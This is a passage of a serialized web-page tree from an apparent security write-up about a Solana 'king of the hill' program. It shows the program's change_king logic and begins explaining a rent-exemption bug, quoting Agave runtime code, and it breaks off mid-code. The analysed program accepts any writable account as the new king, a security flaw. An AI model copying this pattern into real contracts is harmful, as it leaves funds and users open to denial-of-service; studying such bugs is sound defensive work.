change_king",{"type":23,"tag":213,"props":71700,"children":71701},{"style":220},[71702],{"type":28,"value":265},{"type":23,"tag":213,"props":71704,"children":71705},{"style":268},[71706],{"type":28,"value":20335},{"type":23,"tag":213,"props":71708,"children":71709},{"style":274},[71710],{"type":28,"value":277},{"type":23,"tag":213,"props":71712,"children":71713},{"style":290},[71714],{"type":28,"value":20344},{"type":23,"tag":213,"props":71716,"children":71717},{"style":220},[71718],{"type":28,"value":434},{"type":23,"tag":213,"props":71720,"children":71721},{"style":290},[71722],{"type":28,"value":71723},"ChangeKing",{"type":23,"tag":213,"props":71725,"children":71726},{"style":220},[71727],{"type":28,"value":6723},{"type":23,"tag":213,"props":71729,"children":71730},{"style":268},[71731],{"type":28,"value":71732},"bid_amount",{"type":23,"tag":213,"props":71734,"children":71735},{"style":274},[71736],{"type":28,"value":277},{"type":23,"tag":213,"props":71738,"children":71739},{"style":290},[71740],{"type":28,"value":308},{"type":23,"tag":213,"props":71742,"children":71743},{"style":220},[71744],{"type":28,"value":298},{"type":23,"tag":213,"props":71746,"children":71747},{"style":274},[71748],{"type":28,"value":303},{"type":23,"tag":213,"props":71750,"children":71751},{"style":290},[71752],{"type":28,"value":13838},{"type":23,"tag":213,"props":71754,"children":71755},{"style":220},[71756],{"type":28,"value":20386},{"type":23,"tag":213,"props":71758,"children":71759},{"class":215,"line":1921},[71760],{"type":23,"tag":213,"props":71761,"children":71762},{"style":537},[71763],{"type":28,"value":71764}," // Check that bid_amount is at least 2x last_bid_amount\n",{"type":23,"tag":213,"props":71766,"children":71767},{"class":215,"line":3879},[71768,71772,71776,71780,71784,71788,71792,71796,71800,71805,71809,71814,71818,71822],{"type":23,"tag":213,"props":71769,"children":71770},{"style":257},[71771],{"type":28,"value":64501},{"type":23,"tag":213,"props":71773,"children":71774},{"style":220},[71775],{"type":28,"value":265},{"type":23,"tag":213,"props":71777,"children":71778},{"style":268},[71779],{"type":28,"value":71732},{"type":23,"tag":213,"props":71781,"children":71782},{"style":274},[71783],{"type":28,"value":8388},{"type":23,"tag":213,"props":71785,"children":71786},{"style":268},[71787],{"type":28,"value":25898},{"type":23,"tag":213,"props":71789,"children":71790},{"style":274},[71791],{"type":28,"value":124},{"type":23,"tag":213,"props":71793,"children":71794},{"style":220},[71795],{"type":28,"value":14743},{"type":23,"tag":213,"props":71797,"children":71798},{"style":274},[71799],{"type":28,"value":124},{"type":23,"tag":213,"props":71801,"children":71802},{"style":220},[71803],{"type":28,"value":71804},"throne",{"type":23,"tag":213,"props":71806,"children":71807},{"style":274},[71808],{"type":28,"value":124},{"type":23,"tag":213,"props":71810,"children":71811},{"style":220},[71812],{"type":28,"value":71813},"last_bid_amount ",{"type":23,"tag":213,"props":71815,"children":71816},{"style":274},[71817],{"type":28,"value":1696},{"type":23,"tag":213,"props":71819,"children":71820},{"style":514},[71821],{"type":28,"value":8022},{"type":23,"tag":213,"props":71823,"children":71824},{"style":220},[71825],{"type":28,"value":2867},{"type":23,"tag":213,"props":71827,"children":71828},{"class":215,"line":3887},[71829,71834],{"type":23,"tag":213,"props":71830,"children":71831},{"style":257},[71832],{"type":28,"value":71833}," transfer_from_signer",{"type":23,"tag":213,"props":71835,"children":71836},{"style":220},[71837],{"type":28,"value":1511},{"type":23,"tag":213,"props":71839,"children":71840},{"class":215,"line":3918},[71841,71845,71849,71853,71857,71861],{"type":23,"tag":213,"props":71842,"children":71843},{"style":274},[71844],{"type":28,"value":7773},{"type":23,"tag":213,"props":71846,"children":71847},{"style":268},[71848],{"type":28,"value":20335},{"type":23,"tag":213,"props":71850,"children":71851},{"style":274},[71852],{"type":28,"value":124},{"type":23,"tag":213,"props":71854,"children":71855},{"style":220},[71856],{"type":28,"value":14743},{"type":23,"tag":213,"props":71858,"children":71859},{"style":274},[71860],{"type":28,"value":124},{"type":23,"tag":213,"props":71862,"children":71863},{"style":220},[71864],{"type":28,"value":71865},"payer,\n",{"type":23,"tag":213,"props":71867,"children":71868},{"class":215,"line":3926},[71869,71873,71877,71881,71885,71889,71893,71897,71902],{"type":23,"tag":213,"props":71870,"children":71871},{"style":274},[71872],{"type":28,"value":7773},{"type":23,"tag":213,"props":71874,"children":71875},{"style":268},[71876],{"type":28,"value":20335},{"type":23,"tag":213,"props":71878,"children":71879},{"style":274},[71880],{"type":28,"value":124},{"type":23,"tag":213,"props":71882,"children":71883},{"style":220},[71884],{"type":28,"value":14743},{"type":23,"tag":213,"props":71886,"children":71887},{"style":274},[71888],{"type":28,"value":124},{"type":23,"tag":213,"props":71890,"children":71891},{"style":220},[71892],{"type":28,"value":71804},{"type":23,"tag":213,"props":71894,"children":71895},{"style":274},[71896],{"type":28,"value":124},{"type":23,"tag":213,"props":71898,"children":71899},{"style":257},[71900],{"type":28,"value":71901},"to_account_info",{"type":23,"tag":213,"props":71903,"children":71904},{"style":220},[71905],{"type":28,"value":1809},{"type":23,"tag":213,"props":71907,"children":71908},{"class":215,"line":3986},[71909,71914],{"type":23,"tag":213,"props":71910,"children":71911},{"style":268},[71912],{"type":28,"value":71913}," bid_amount",{"type":23,"tag":213,"props":71915,"children":71916},{"style":220},[71917],{"type":28,"value":944},{"type":23,"tag":213,"props":71919,"children":71920},{"class":215,"line":9132},[71921,71926,71930],{"type":23,"tag":213,"props":71922,"children":71923},{"style":220},[71924],{"type":28,"value":71925}," )",{"type":23,"tag":213,"props":71927,"children":71928},{"style":274},[71929],{"type":28,"value":2126},{"type":23,"tag":213,"props":71931,"children":71932},{"style":220},[71933],{"type":28,"value":313},{"type":23,"tag":213,"props":71935,"children":71936},{"class":215,"line":9150},[71937],{"type":23,"tag":213,"props":71938,"children":71939},{"emptyLinePlaceholder":18},[71940],{"type":28,"value":530},{"type":23,"tag":213,"props":71942,"children":71943},{"class":215,"line":9195},[71944],{"type":23,"tag":213,"props":71945,"children":71946},{"style":537},[71947],{"type":28,"value":71948}," // Reimburse 95% of the last bid to the old king\n",{"type":23,"tag":213,"props":71950,"children":71951},{"class":215,"line":9301},[71952,71956,71961,71965,71969,71973,71977,71981,71985,71989,71993,71997,72001,72006,72010,72014,72019],{"type":23,"tag":213,"props":71953,"children":71954},{"style":230},[71955],{"type":28,"value":3163},{"type":23,"tag":213,"props":71957,"children":71958},{"style":268},[71959],{"type":28,"value":71960}," to_reimburse",{"type":23,"tag":213,"props":71962,"children":71963},{"style":274},[71964],{"type":28,"value":511},{"type":23,"tag":213,"props":71966,"children":71967},{"style":220},[71968],{"type":28,"value":400},{"type":23,"tag":213,"props":71970,"children":71971},{"style":268},[71972],{"type":28,"value":20335},{"type":23,"tag":213,"props":71974,"children":71975},{"style":274},[71976],{"type":28,"value":124},{"type":23,"tag":213,"props":71978,"children":71979},{"style":220},[71980],{"type":28,"value":14743},{"type":23,"tag":213,"props":71982,"children":71983},{"style":274},[71984],{"type":28,"value":124},{"type":23,"tag":213,"props":71986,"children":71987},{"style":220},[71988],{"type":28,"value":71804},{"type":23,"tag":213,"props":71990,"children":71991},{"style":274},[71992],{"type":28,"value":124},{"type":23,"tag":213,"props":71994,"children":71995},{"style":220},[71996],{"type":28,"value":71813},{"type":23,"tag":213,"props":71998,"children":71999},{"style":274},[72000],{"type":28,"value":1696},{"type":23,"tag":213,"props":72002,"children":72003},{"style":514},[72004],{"type":28,"value":72005}," 9500",{"type":23,"tag":213,"props":72007,"children":72008},{"style":220},[72009],{"type":28,"value":298},{"type":23,"tag":213,"props":72011,"children":72012},{"style":274},[72013],{"type":28,"value":4675},{"type":23,"tag":213,"props":72015,"children":72016},{"style":514},[72017],{"type":28,"value":72018}," 10000",{"type":23,"tag":213,"props":72020,"children":72021},{"style":220},[72022],{"type":28,"value":313},{"type":23,"tag":213,"props":72024,"children":72025},{"class":215,"line":23557},[72026,72031],{"type":23,"tag":213,"props":72027,"children":72028},{"style":257},[72029],{"type":28,"value":72030}," transfer_from_pda",{"type":23,"tag":213,"props":72032,"children":72033},{"style":220},[72034],{"type":28,"value":1511},{"type":23,"tag":213,"props":72036,"children":72037},{"class":215,"line":23592},[72038,72042,72046,72050,72054,72058,72062,72066,72070],{"type":23,"tag":213,"props":72039,"children":72040},{"style":274},[72041],{"type":28,"value":7773},{"type":23,"tag":213,"props":72043,"children":72044},{"style":268},[72045],{"type":28,"value":20335},{"type":23,"tag":213,"props":72047,"children":72048},{"style":274},[72049],{"type":28,"value":124},{"type":23,"tag":213,"props":72051,"children":72052},{"style":220},[72053],{"type":28,"value":14743},{"type":23,"tag":213,"props":72055,"children":72056},{"style":274},[72057],{"type":28,"value":124},{"type":23,"tag":213,"props":72059,"children":72060},{"style":220},[72061],{"type":28,"value":71804},{"type":23,"tag":213,"props":72063,"children":72064},{"style":274},[72065],{"type":28,"value":124},{"type":23,"tag":213,"props":72067,"children":72068},{"style":257},[72069],{"type":28,"value":71901},{"type":23,"tag":213,"props":72071,"children":72072},{"style":220},[72073],{"type":28,"value":1809},{"type":23,"tag":213,"props":72075,"children":72076},{"class":215,"line":23600},[72077,72081,72085,72089,72093,72097],{"type":23,"tag":213,"props":72078,"children":72079},{"style":274},[72080],{"type":28,"value":7773},{"type":23,"tag":213,"props":72082,"children":72083},{"style":268},[72084],{"type":28,"value":20335},{"type":23,"tag":213,"props":72086,"children":72087},{"style":274},[72088],{"type":28,"value":124},{"type":23,"tag":213,"props":72090,"children":72091},{"style":220},[72092],{"type":28,"value":14743},{"type":23,"tag":213,"props":72094,"children":72095},{"style":274},[72096],{"type":28,"value":124},{"type":23,"tag":213,"props":72098,"children":72099},{"style":220},[72100],{"type":28,"value":72101},"old_king,\n",{"type":23,"tag":213,"props":72103,"children":72104},{"class":215,"line":23608},[72105,72110],{"type":23,"tag":213,"props":72106,"children":72107},{"style":268},[72108],{"type":28,"value":72109}," to_reimburse",{"type":23,"tag":213,"props":72111,"children":72112},{"style":220},[72113],{"type":28,"value":944},{"type":23,"tag":213,"props":72115,"children":72116},{"class":215,"line":23617},[72117,72121,72125],{"type":23,"tag":213,"props":72118,"children":72119},{"style":220},[72120],{"type":28,"value":71925},{"type":23,"tag":213,"props":72122,"children":72123},{"style":274},[72124],{"type":28,"value":2126},{"type":23,"tag":213,"props":72126,"children":72127},{"style":220},[72128],{"type":28,"value":313},{"type":23,"tag":213,"props":72130,"children":72131},{"class":215,"line":23659},[72132],{"type":23,"tag":213,"props":72133,"children":72134},{"emptyLinePlaceholder":18},[72135],{"type":28,"value":530},{"type":23,"tag":213,"props":72137,"children":72138},{"class":215,"line":23692},[72139],{"type":23,"tag":213,"props":72140,"children":72141},{"style":537},[72142],{"type":28,"value":72143}," // Set new king\n",{"type":23,"tag":213,"props":72145,"children":72146},{"class":215,"line":23700},[72147,72151,72155,72159,72163,72167,72171,72176,72180,72184,72188,72192,72196,72201,72205,72210],{"type":23,"tag":213,"props":72148,"children":72149},{"style":268},[72150],{"type":28,"value":26241},{"type":23,"tag":213,"props":72152,"children":72153},{"style":274},[72154],{"type":28,"value":124},{"type":23,"tag":213,"props":72156,"children":72157},{"style":220},[72158],{"type":28,"value":14743},{"type":23,"tag":213,"props":72160,"children":72161},{"style":274},[72162],{"type":28,"value":124},{"type":23,"tag":213,"props":72164,"children":72165},{"style":220},[72166],{"type":28,"value":71804},{"type":23,"tag":213,"props":72168,"children":72169},{"style":274},[72170],{"type":28,"value":124},{"type":23,"tag":213,"props":72172,"children":72173},{"style":220},[72174],{"type":28,"value":72175},"king ",{"type":23,"tag":213,"props":72177,"children":72178},{"style":274},[72179],{"type":28,"value":3190},{"type":23,"tag":213,"props":72181,"children":72182},{"style":268},[72183],{"type":28,"value":25898},{"type":23,"tag":213,"props":72185,"children":72186},{"style":274},[72187],{"type":28,"value":124},{"type":23,"tag":213,"props":72189,"children":72190},{"style":220},[72191],{"type":28,"value":14743},{"type":23,"tag":213,"props":72193,"children":72194},{"style":274},[72195],{"type":28,"value":124},{"type":23,"tag":213,"props":72197,"children":72198},{"style":220},[72199],{"type":28,"value":72200},"new_king",{"type":23,"tag":213,"props":72202,"children":72203},{"style":274},[72204],{"type":28,"value":124},{"type":23,"tag":213,"props":72206,"children":72207},{"style":257},[72208],{"type":28,"value":72209},"key",{"type":23,"tag":213,"props":72211,"children":72212},{"style":220},[72213],{"type":28,"value":3759},{"type":23,"tag":213,"props":72215,"children":72216},{"class":215,"line":23708},[72217,72221,72225,72229,72233,72237,72241,72245,72249,72254],{"type":23,"tag":213,"props":72218,"children":72219},{"style":268},[72220],{"type":28,"value":26241},{"type":23,"tag":213,"props":72222,"children":72223},{"style":274},[72224],{"type":28,"value":124},{"type":23,"tag":213,"props":72226,"children":72227},{"style":220},[72228],{"type":28,"value":14743},{"type":23,"tag":213,"props":72230,"children":72231},{"style":274},[72232],{"type":28,"value":124},{"type":23,"tag":213,"props":72234,"children":72235},{"style":220},[72236],{"type":28,"value":71804},{"type":23,"tag":213,"props":72238,"children":72239},{"style":274},[72240],{"type":28,"value":124},{"type":23,"tag":213,"props":72242,"children":72243},{"style":220},[72244],{"type":28,"value":71813},{"type":23,"tag":213,"props":72246,"children":72247},{"style":274},[72248],{"type":28,"value":3190},{"type":23,"tag":213,"props":72250,"children":72251},{"style":268},[72252],{"type":28,"value":72253}," bid_amount",{"type":23,"tag":213,"props":72255,"children":72256},{"style":220},[72257],{"type":28,"value":313},{"type":23,"tag":213,"props":72259,"children":72260},{"class":215,"line":23717},[72261,72265,72269,72273,72277,72281,72285,72290,72294,72299,72303,72307,72311,72315,72320,72324,72328],{"type":23,"tag":213,"props":72262,"children":72263},{"style":268},[72264],{"type":28,"value":26241},{"type":23,"tag":213,"props":72266,"children":72267},{"style":274},[72268],{"type":28,"value":124},{"type":23,"tag":213,"props":72270,"children":72271},{"style":220},[72272],{"type":28,"value":14743},{"type":23,"tag":213,"props":72274,"children":72275},{"style":274},[72276],{"type":28,"value":124},{"type":23,"tag":213,"props":72278,"children":72279},{"style":220},[72280],{"type":28,"value":71804},{"type":23,"tag":213,"props":72282,"children":72283},{"style":274},[72284],{"type":28,"value":124},{"type":23,"tag":213,"props":72286,"children":72287},{"style":220},[72288],{"type":28,"value":72289},"last_time ",{"type":23,"tag":213,"props":72291,"children":72292},{"style":274},[72293],{"type":28,"value":3190},{"type":23,"tag":213,"props":72295,"children":72296},{"style":290},[72297],{"type":28,"value":72298}," Clock",{"type":23,"tag":213,"props":72300,"children":72301},{"style":274},[72302],{"type":28,"value":562},{"type":23,"tag":213,"props":72304,"children":72305},{"style":257},[72306],{"type":28,"value":16403},{"type":23,"tag":213,"props":72308,"children":72309},{"style":220},[72310],{"type":28,"value":13955},{"type":23,"tag":213,"props":72312,"children":72313},{"style":274},[72314],{"type":28,"value":3230},{"type":23,"tag":213,"props":72316,"children":72317},{"style":220},[72318],{"type":28,"value":72319},"unix_timestamp ",{"type":23,"tag":213,"props":72321,"children":72322},{"style":230},[72323],{"type":28,"value":623},{"type":23,"tag":213,"props":72325,"children":72326},{"style":290},[72327],{"type":28,"value":308},{"type":23,"tag":213,"props":72329,"children":72330},{"style":220},[72331],{"type":28,"value":313},{"type":23,"tag":213,"props":72333,"children":72334},{"class":215,"line":23793},[72335],{"type":23,"tag":213,"props":72336,"children":72337},{"emptyLinePlaceholder":18},[72338],{"type":28,"value":530},{"type":23,"tag":213,"props":72340,"children":72341},{"class":215,"line":23826},[72342,72346],{"type":23,"tag":213,"props":72343,"children":72344},{"style":290},[72345],{"type":28,"value":14878},{"type":23,"tag":213,"props":72347,"children":72348},{"style":220},[72349],{"type":28,"value":14412},{"type":23,"tag":213,"props":72351,"children":72352},{"class":215,"line":23834},[72353],{"type":23,"tag":213,"props":72354,"children":72355},{"style":220},[72356],{"type":28,"value":2875},{"type":23,"tag":213,"props":72358,"children":72359},{"class":215,"line":23842},[72360],{"type":23,"tag":213,"props":72361,"children":72362},{"style":220},[72363],{"type":28,"value":1208},{"type":23,"tag":24,"props":72365,"children":72366},{},[72367],{"type":28,"value":72368},"Note this comment:",{"type":23,"tag":3036,"props":72370,"children":72371},{},[72372],{"type":23,"tag":24,"props":72373,"children":72374},{},[72375],{"type":28,"value":72376},"any writable account is allowed as a new king.",{"type":23,"tag":24,"props":72378,"children":72379},{},[72380],{"type":28,"value":72381},"...Is our assumption correct?",{"type":23,"tag":47,"props":72383,"children":72385},{"id":72384},"the-bugs-lurking-beneath",[72386],{"type":28,"value":72387},"The Bugs Lurking Beneath",{"type":23,"tag":9693,"props":72389,"children":72391},{"id":72390},"bug-1-the-rent-exemption-trap",[72392],{"type":28,"value":72393},"Bug 1: The Rent-Exemption Trap",{"type":23,"tag":24,"props":72395,"children":72396},{},[72397,72399,72404],{"type":28,"value":72398},"On Solana, all accounts must maintain a ",{"type":23,"tag":95,"props":72400,"children":72401},{},[72402],{"type":28,"value":72403},"minimum balance",{"type":28,"value":72405}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":23,"tag":168,"props":72407,"children":72408},{},[72409,72424],{"type":23,"tag":135,"props":72410,"children":72411},{},[72412,72417,72418],{"type":23,"tag":95,"props":72413,"children":72414},{},[72415],{"type":28,"value":72416},"Uninitialized",{"type":28,"value":15390},{"type":23,"tag":209,"props":72419,"children":72421},{"className":72420},[],[72422],{"type":28,"value":72423},"lamports = 0",{"type":23,"tag":135,"props":72425,"children":72426},{},[72427,72432,72433],{"type":23,"tag":95,"props":72428,"children":72429},{},[72430],{"type":28,"value":72431},"Initialized",{"type":28,"value":15390},{"type":23,"tag":209,"props":72434,"children":72436},{"className":72435},[],[72437],{"type":28,"value":72438},"lamports >= rent-exempt threshold",{"type":23,"tag":24,"props":72440,"children":72441},{},[72442,72444,72449],{"type":28,"value":72443},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":23,"tag":95,"props":72445,"children":72446},{},[72447],{"type":28,"value":72448},"account metadata",{"type":28,"value":72450}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":23,"tag":24,"props":72452,"children":72453},{},[72454,72456,72462],{"type":28,"value":72455},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":23,"tag":209,"props":72457,"children":72459},{"className":72458},[],[72460],{"type":28,"value":72461},"data.len() == 0",{"type":28,"value":72463}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":23,"tag":24,"props":72465,"children":72466},{},[72467,72469,72475],{"type":28,"value":72468},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":23,"tag":36,"props":72470,"children":72473},{"href":72471,"rel":72472},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[40],[72474],{"type":28,"value":47636},{"type":28,"value":124},{"type":23,"tag":202,"props":72477,"children":72479},{"className":206,"code":72478,"language":205,"meta":7,"style":7}," fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n match post_rent_state {\n RentState::Uninitialized | RentState::RentExempt => true,\n RentState::RentPaying {\n data_size: post_data_size,\n lamports: post_lamports,\n } => {\n match pre_rent_state {\n RentState::Uninitialized | RentState::RentExempt => false,\n RentState::RentPaying {\n data_size: pre_data_size,\n lamports: pre_lamports,\n } => {\n // Cannot remain RentPaying if resized or credited.\n post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n }\n }\n }\n }\n }\n",[72480],{"type":23,"tag":209,"props":72481,"children":72482},{"__ignoreMap":7},[72483,72567,72584,72630,72650,72671,72692,72707,72724,72768,72787,72808,72829,72845,72853,72886,72893,72900,72907,72914],{"type":23,"tag":213,"props":72484,"children":72485},{"class":215,"line":216},[72486,72491,72496,72500,72504,72508,72512,72517,72521,72525,72530,72534,72539,72543,72547,72551,72555,72559,72563],{"type":23,"tag":213,"props":72487,"children":72488},{"style":230},[72489],{"type":28,"value":72490}," fn",{"type":23,"tag":213,"props":72492,"children":72493},{"style":257},[72494],{"type":28,"value":72495}," transition_allowed",{"type":23,"tag":213,"props":72497,"children":72498},{"style":220},[72499],{"type":28,"value":265},{"type":23,"tag":213,"props":72501,"children":72502},{"style":274},[72503],{"type":28,"value":405},{"type":23,"tag":213,"props":72505,"children":72506},{"style":230},[72507],{"type":28,"value":13791},{"type":23,"tag":213,"props":72509,"children":72510},{"style":220},[72511],{"type":28,"value":424},{"type":23,"tag":213,"props":72513,"children":72514},{"style":268},[72515],{"type":28,"value":72516},"pre_rent_state",{"type":23,"tag":213,"props":72518,"children":72519},{"style":274},[72520],{"type":28,"value":277},{"type":23,"tag":213,"props":72522,"children":72523},{"style":274},[72524],{"type":28,"value":927},{"type":23,"tag":213,"props":72526,"children":72527},{"style":290},[72528],{"type":28,"value":72529},"RentState",{"type":23,"tag":213,"props":72531,"children":72532},{"style":220},[72533],{"type":28,"value":424},{"type":23,"tag":213,"props":72535,"children":72536},{"style":268},[72537],{"type":28,"value":72538},"post_rent_state",{"type":23,"tag":213,"props":72540,"children":72541},{"style":274},[72542],{"type":28,"value":277},{"type":23,"tag":213,"props":72544,"children":72545},{"style":274},[72546],{"type":28,"value":927},{"type":23,"tag":213,"props":72548,"children":72549},{"style":290},[72550],{"type":28,"value":72529},{"type":23,"tag":213,"props":72552,"children":72553},{"style":220},[72554],{"type":28,"value":298},{"type":23,"tag":213,"props":72556,"children":72557},{"style":274},[72558],{"type":28,"value":303},{"type":23,"tag":213,"props":72560,"children":72561},{"style":290},[72562],{"type":28,"value":965},{"type":23,"tag":213,"props":72564,"children":72565},{"style":220},[72566],{"type":28,"value":1375},{"type":23,"tag":213,"props":72568,"children":72569},{"class":215,"line":226},[72570,72575,72580],{"type":23,"tag":213,"props":72571,"children":72572},{"style":1362},[72573],{"type":28,"value":72574}," match",{"type":23,"tag":213,"props":72576,"children":72577},{"style":268},[72578],{"type":28,"value":72579}," post_rent_state",{"type":23,"tag":213,"props":72581,"children":72582},{"style":220},[72583],{"type":28,"value":1375},{"type":23,"tag":213,"props":72585,"children":72586},{"class":215,"line":524},[72587,72592,72596,72600,72604,72609,72613,72618,72622,72626],{"type":23,"tag":213,"props":72588,"children":72589},{"style":290},[72590],{"type":28,"value":72591}," RentState",{"type":23,"tag":213,"props":72593,"children":72594},{"style":274},[72595],{"type":28,"value":562},{"type":23,"tag":213,"props":72597,"children":72598},{"style":290},[72599],{"type":28,"value":72416},{"type":23,"tag":213,"props":72601,"children":72602},{"style":274},[72603],{"type":28,"value":4365},{"type":23,"tag":213,"props":72605,"children":72606},{"style":290},[72607],{"type":28,"value":72608}," RentState",{"type":23,"tag":213,"props":72610,"children":72611},{"style":274},[72612],{"type":28,"value":562},{"type":23,"tag":213,"props":72614,"children":72615},{"style":290},[72616],{"type":28,"value":72617},"RentExempt",{"type":23,"tag":213,"props":72619,"children":72620},{"style":274},[72621],{"type":28,"value":27808},{"type":23,"tag":213,"props":72623,"children":72624},{"style":230},[72625],{"type":28,"value":12551},{"type":23,"tag":213,"props":72627,"children":72628},{"style":220},[72629],{"type":28,"value":944},{"type":23,"tag":213,"props":72631,"children":72632},{"class":215,"line":533},[72633,72637,72641,72646],{"type":23,"tag":213,"props":72634,"children":72635},{"style":290},[72636],{"type":28,"value":72591},{"type":23,"tag":213,"props":72638,"children":72639},{"style":274},[72640],{"type":28,"value":562},{"type":23,"tag":213,"props":72642,"children":72643},{"style":290},[72644],{"type":28,"value":72645},"RentPaying",{"type":23,"tag":213,"props":72647,"children":72648},{"style":220},[72649],{"type":28,"value":1375},{"type":23,"tag":213,"props":72651,"children":72652},{"class":215,"line":543},[72653,72658,72662,72667],{"type":23,"tag":213,"props":72654,"children":72655},{"style":268},[72656],{"type":28,"value":72657}," data_size",{"type":23,"tag":213,"props":72659,"children":72660},{"style":274},[72661],{"type":28,"value":277},{"type":23,"tag":213,"props":72663,"children":72664},{"style":268},[72665],{"type":28,"value":72666}," post_data_size",{"type":23,"tag":213,"props":72668,"children":72669},{"style":220},[72670],{"type":28,"value":944},{"type":23,"tag":213,"props":72672,"children":72673},{"class":215,"line":551},[72674,72679,72683,72688],{"type":23,"tag":213,"props":72675,"children":72676},{"style":268},[72677],{"type":28,"value":72678}," lamports",{"type":23,"tag":213,"props":72680,"children":72681},{"style":274},[72682],{"type":28,"value":277},{"type":23,"tag":213,"props":72684,"children":72685},{"style":268},[72686],{"type":28,"value":72687}," post_lamports",{"type":23,"tag":213,"props":72689,"children":72690},{"style":220},[72691],{"type":28,"value":944},{"type":23,"tag":213,"props":72693,"children":72694},{"class":215,"line":570},[72695,72699,72703],{"type":23,"tag":213,"props":72696,"children":72697},{"style":220},[72698],{"type":28,"value":70647},{"type":23,"tag":213,"props":72700,"children":72701},{"style":274},[72702],{"type":28,"value":1445},{"type":23,"tag":213,"props":72704,"children":72705},{"style":220},[72706],{"type":28,"value":1375},{"type":23,"tag":213,"props":72708,"children":72709},{"class":215,"line":655},[72710,72715,72720],{"type":23,"tag":213,"props":72711,"children":72712},{"style":1362},[72713],{"type":28,"value":72714}," match",{"type":23,"tag":213,"props":72716,"children":72717},{"style":268},[72718],{"type":28,"value":72719}," pre_rent_state",{"type":23,"tag":213,"props":72721,"children":72722},{"style":220},[72723],{"type":28,"value":1375},{"type":23,"tag":213,"props":72725,"children":72726},{"class":215,"line":1176},[72727,72732,72736,72740,72744,72748,72752,72756,72760,72764],{"type":23,"tag":213,"props":72728,"children":72729},{"style":290},[72730],{"type":28,"value":72731}," RentState",{"type":23,"tag":213,"props":72733,"children":72734},{"style":274},[72735],{"type":28,"value":562},{"type":23,"tag":213,"props":72737,"children":72738},{"style":290},[72739],{"type":28,"value":72416},{"type":23,"tag":213,"props":72741,"children":72742},{"style":274},[72743],{"type":28,"value":4365},{"type":23,"tag":213,"props":72745,"children":72746},{"style":290},[72747],{"type":28,"value":72608},{"type":23,"tag":213,"props":72749,"children":72750},{"style":274},[72751],{"type":28,"value":562},{"type":23,"tag":213,"props":72753,"children":72754},{"style":290},[72755],{"type":28,"value":72617},{"type":23,"tag":213,"props":72757,"children":72758},{"style":274},[72759],{"type":28,"value":27808},{"type":23,"tag":213,"props":72761,"children":72762},{"style":230},[72763],{"type":28,"value":9143},{"type":23,"tag":213,"props":72765,"children":72766},{"style":220},[72767],{"type":28,"value":944},{"type":23,"tag":213,"props":72769,"children":72770},{"class":215,"line":1202},[72771,72775,72779,72783],{"type":23,"tag":213,"props":72772,"children":72773},{"style":290},[72774],{"type":28,"value":72731},{"type":23,"tag":213,"props":72776,"children":72777},{"style":274},[72778],{"type":28,"value":562},{"type":23,"tag":213,"props":72780,"children":72781},{"style":290},[72782],{"type":28,"value":72645},{"type":23,"tag":213,"props":72784,"children":72785},{"style":220},[72786],{"type":28,"value":1375},{"type":23,"tag":213,"props":72788,"children":72789},{"class":215,"line":1758},[72790,72795,72799,72804],{"type":23,"tag":213,"props":72791,"children":72792},{"style":268},[72793],{"type":28,"value":72794}," data_size",{"type":23,"tag":213,"props":72796,"children":72797},{"style":274},[72798],{"type":28,"value":277},{"type":23,"tag":213,"props":72800,"children":72801},{"style":268},[72802],{"type":28,"value":72803}," pre_data_size",{"type":23,"tag":213,"props":72805,"children":72806},{"style":220},[72807],{"type":28,"value":944},{"type":23,"tag":213,"props":72809,"children":72810},{"class":215,"line":1767},[72811,72816,72820,72825],{"type":23,"tag":213,"props":72812,"children":72813},{"style":268},[72814],{"type":28,"value":72815}," lamports",{"type":23,"tag":213,"props":72817,"children":72818},{"style":274},[72819],{"type":28,"value":277},{"type":23,"tag":213,"props":72821,"children":72822},{"style":268},[72823],{"type":28,"value":72824}," pre_lamports",{"type":23,"tag":213,"props":72826,"children":72827},{"style":220},[72828],{"type":28,"value":944},{"type":23,"tag":213,"props":72830,"children":72831},{"class":215,"line":1789},[72832,72837,72841],{"type":23,"tag":213,"props":72833,"children":72834},{"style":220},[72835],{"type":28,"value":72836}," } ",{"type":23,"tag":213,"props":72838,"children":72839},{"style":274},[72840],{"type":28,"value":1445},{"type":23,"tag":213,"props":72842,"children":72843},{"style":220},[72844],{"type":28,"value":1375},{"type":23,"tag":213,"props":72846,"children":72847},{"class":215,"line":1812},[72848],{"type":23,"tag":213,"props":72849,"children":72850},{"style":537},[72851],{"type":28,"value":72852}," // Cannot remain RentPaying if resized or credited.\n",{"type":23,"tag":213,"props":72854,"children":72855},{"class":215,"line":1838},[72856,72861,72865,72869,72873,72877,72881],{"type":23,"tag":213,"props":72857,"children":72858},{"style":268},[72859],{"type":28,"value":72860}," post_data_size",{"type":23,"tag":213,"props":72862,"children":72863},{"style":274},[72864],{"type":28,"value":3379},{"type":23,"tag":213,"props":72866,"children":72867},{"style":268},[72868],{"type":28,"value":72803},{"type":23,"tag":213,"props":72870,"children":72871},{"style":274},[72872],{"type":28,"value":14259},{"type":23,"tag":213,"props":72874,"children":72875},{"style":268},[72876],{"type":28,"value":72687},{"type":23,"tag":213,"props":72878,"children":72879},{"style":274},[72880],{"type":28,"value":8283},{"type":23,"tag":213,"props":72882,"children":72883},{"style":268},[72884],{"type":28,"value":72885}," 